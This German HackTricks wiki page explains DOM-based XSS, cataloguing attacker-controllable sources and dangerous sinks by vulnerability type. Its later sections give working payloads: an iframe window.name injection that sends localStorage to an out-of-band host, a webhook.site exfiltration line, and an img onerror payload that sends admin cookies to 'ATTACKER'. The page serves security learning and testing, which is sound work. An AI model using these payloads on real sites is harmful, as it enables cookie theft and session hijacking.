DOM XSS

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

DOM-Schwachstellen

DOM-Schwachstellen treten auf, wenn Daten aus vom Angreifer kontrollierten sources (wie location.search, document.referrer oder document.cookie) unsicher an sinks übertragen werden. Sinks sind Funktionen oder Objekte (z. B. eval(), document.body.innerHTML), die schädlichen Inhalt ausführen oder rendern können, wenn sie bösartige Daten erhalten.

  • Sources sind Eingaben, die von Angreifern manipuliert werden können, einschließlich URLs, cookies und Webnachrichten.
  • Sinks sind potenziell gefährliche Endpunkte, an denen schädliche Daten zu negativen Auswirkungen wie der Ausführung von Skripten führen können.

Das Risiko entsteht, wenn Daten von einer source zu einem sink fließen, ohne ordnungsgemäße Validierung oder Bereinigung, wodurch Angriffe wie XSS ermöglicht werden.

Tip

Sie finden eine aktuellere Liste von sources und sinks unter https://github.com/wisec/domxsswiki/wiki

Häufige sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Häufige Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

Der innerHTML-Sink akzeptiert in keinem modernen Browser script-Elemente, und svg onload-Events werden ebenfalls nicht ausgelöst. Das bedeutet, dass du alternative Elemente wie img oder iframe verwenden musst.

Diese Art von XSS ist wahrscheinlich am schwersten zu finden, da du in den JS-Code schauen musst, prüfen musst, ob er ein Objekt verwendet, dessen Wert du kontrollierst, und falls ja, ob es eine Möglichkeit gibt, dies auszunutzen, um beliebigen JS-Code auszuführen.

Tools zum Auffinden

Beispiele

Open Redirect

Von: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM treten auf, wenn ein Skript Daten, die ein Angreifer kontrollieren kann, in einen Sink schreibt, der eine domänenübergreifende Navigation auslösen kann.

Es ist wichtig zu verstehen, dass das Ausführen von beliebigem Code, wie javascript:alert(1), möglich ist, wenn du die Kontrolle über den Anfang der URL hast, an der die Weiterleitung erfolgt.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities treten auf, wenn ein Script Daten, die von einem Angreifer kontrolliert werden können, in den Wert eines Cookies einfügt. Diese Schwachstelle kann zu unerwartetem Verhalten der Webseite führen, wenn das Cookie innerhalb der Site verwendet wird. Außerdem kann sie ausgenutzt werden, um eine session fixation attack durchzuführen, wenn das Cookie zur Nachverfolgung von Benutzer-Sessions beteiligt ist. Die primäre Sink, die mit dieser Schwachstelle verbunden ist, ist:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities entstehen, wenn ein script Daten, die von einem Angreifer kontrolliert werden können, als JavaScript code ausführt.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Quelle: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities treten auf, wenn ein Script die Eigenschaft document.domain mit Daten setzt, die ein Angreifer kontrollieren kann.

Die document.domain-Eigenschaft spielt eine wichtige Rolle bei der Durchsetzung der same-origin policy durch Browser. Wenn zwei Seiten aus unterschiedlichen Ursprüngen ihr document.domain auf denselben Wert setzen, können sie ohne Einschränkungen miteinander interagieren. Obwohl Browser bestimmte Grenzen für die Werte auferlegen, die document.domain zugewiesen werden können, und dadurch die Zuweisung völlig nicht verwandter Werte zur tatsächlichen Origin der Seite verhindern, bestehen Ausnahmen. Typischerweise erlauben Browser die Verwendung von child oder parent domains.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning tritt auf, wenn ein Skript kontrollierbare Daten als Ziel-URL für eine WebSocket-Verbindung verwendet.

Sinks:

Der WebSocket-Konstruktor kann zu WebSocket-URL poisoning Schwachstellen führen.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities treten auf, wenn ein Skript vom Angreifer kontrollierte Daten in ein Navigationsziel innerhalb der aktuellen Seite schreibt, z. B. einen anklickbaren Link oder die Absende-URL eines Formulars.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Quelle: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten in eine Ajax request schreibt, die mit einem XmlHttpRequest-Objekt gesendet wird.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

Quelle: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten an eine dateiverarbeitende API als Parameter filename übergibt. Diese Schwachstelle kann von einem Angreifer ausgenutzt werden, um eine URL zu konstruieren, die — wenn sie von einem anderen Benutzer aufgerufen wird — dazu führen kann, dass der Browser des Benutzers eine beliebige lokale Datei öffnet oder schreibt.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

Von: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities treten auf, wenn ein Skript attacker-controllable data auf unsichere Weise in eine client-side SQL query einbindet.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten im HTML5-Speicher des Browsers (localStorage oder sessionStorage) ablegt. Diese Handlung ist nicht per se eine Sicherheitslücke, wird jedoch problematisch, wenn die Anwendung anschließend die gespeicherten Daten ausliest und unsicher verarbeitet. Dadurch könnte ein Angreifer den Speichermechanismus ausnutzen, um andere DOM-basierte Angriffe durchzuführen, wie etwa cross-site scripting und JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Quelle: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities treten auf, wenn ein Skript von einem Angreifer kontrollierbare Daten in eine XPath query einbindet.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Quelle: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities treten auf, wenn ein Skript vom Angreifer kontrollierbare Daten in einen String einfügt, der als JSON-Datenstruktur geparst und anschließend von der Anwendung verarbeitet wird.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message-Schwachstellen entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten als Web Message an ein anderes Dokument innerhalb des Browsers sendet. Ein Beispiel für eine verwundbare Web-message-Manipulation findet sich bei PortSwigger’s Web Security Academy.

Sinks:

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-Datenmanipulations-Schwachstellen treten auf, wenn ein Skript vom Angreifer kontrollierbare Daten in ein Feld im DOM schreibt, das in der sichtbaren UI oder in clientseitiger Logik verwendet wird. Diese Schwachstelle kann von einem Angreifer ausgenutzt werden, um eine URL zu konstruieren, die, wenn sie von einem anderen Benutzer besucht wird, das Erscheinungsbild oder das Verhalten der clientseitigen UI verändern kann.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Quelle: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities treten auf, wenn ein Skript attacker-controllable data unsafely to a problematic platform API übergibt. Dies umfasst APIs, die, wenn sie aufgerufen werden, dazu führen können, dass der Computer des Benutzers übermäßige Mengen an CPU oder Festplattenspeicher verbraucht. Solche Schwachstellen können erhebliche Nebenwirkungen haben, z. B. dass der Browser die Funktionalität der Website einschränkt, indem er Versuche, Daten in localStorage zu speichern, ablehnt oder laufende Skripte beendet.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Implizite globale Variablen & window.name-Missbrauch

Wenn man auf name ohne Deklaration (var/let/const) verweist, wird das zu window.name aufgelöst. Da window.name über Cross-Origin-Navigationen hinweg bestehen bleibt, kann ein Angreifer den Namen eines Browsing-Kontexts mit HTML/JS vorbefüllen und später dafür sorgen, dass Code des Opfers ihn als vertrauenswürdige Daten rendert:

  • Öffne/navigiere das Ziel in einem benannten Kontext, den du kontrollierst:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Oder window.open mit einem manipulierten Zielnamen wiederverwenden:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Wenn die Anwendung später element.innerHTML = name (or similar sink) ohne Sanitization ausführt, wird die vom Angreifer kontrollierte window.name-Zeichenkette im Ziel-Origin ausgeführt, wodurch DOM XSS und Zugriff auf same-origin storage möglich werden.

Admin/automation flows: pre-seeded storage & javascript: navigation

Automation-Bots (z. B. Playwright) besuchen oft zuerst eine interne Seite, legen Secrets in localStorage/cookies ab und navigieren dann zu von Nutzern bereitgestellten URLs. Jede DOM XSS-Primitive (einschließlich window.name-Missbrauch) in diesem Ablauf kann das vorab gesetzte Secret exfiltrieren:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Wenn der Bot URL-Schemes nicht einschränkt, führt das Angeben einer javascript:-URL (javascript:fetch(...)) im aktuellen Origin ohne neue Navigation dazu, dass storage values direkt leaked werden.

Template literal innerHTML + partielle Sanitierungslücken

Frontends, die nur ausgewählte Felder sanitieren, aber dennoch ein nicht vertrauenswürdiges Feld direkt in innerHTML interpolieren, sind trivial ausnutzbar. Beispiel:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

Wenn das nicht bereinigte Feld serverseitig gespeichert wird (z. B. Bug-Report “details”), wird die Nutzlast für jeden privilegierten Betrachter der Liste zu stored DOM XSS. Eine einfache Nutzlast wie <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> wird ausgeführt, wenn ein Admin die Seite öffnet, und exfiltriert deren Cookies.

Wenn die App SESSION_COOKIE_HTTPONLY explizit deaktiviert (z. B. Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), gewährt das gestohlene Cookie dem Admin sofort die Session, selbst wenn das signing secret bei jedem Boot rotiert (ein zufälliger secret_key verhindert das Fälschen, aber der Diebstahl funktioniert weiterhin).

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks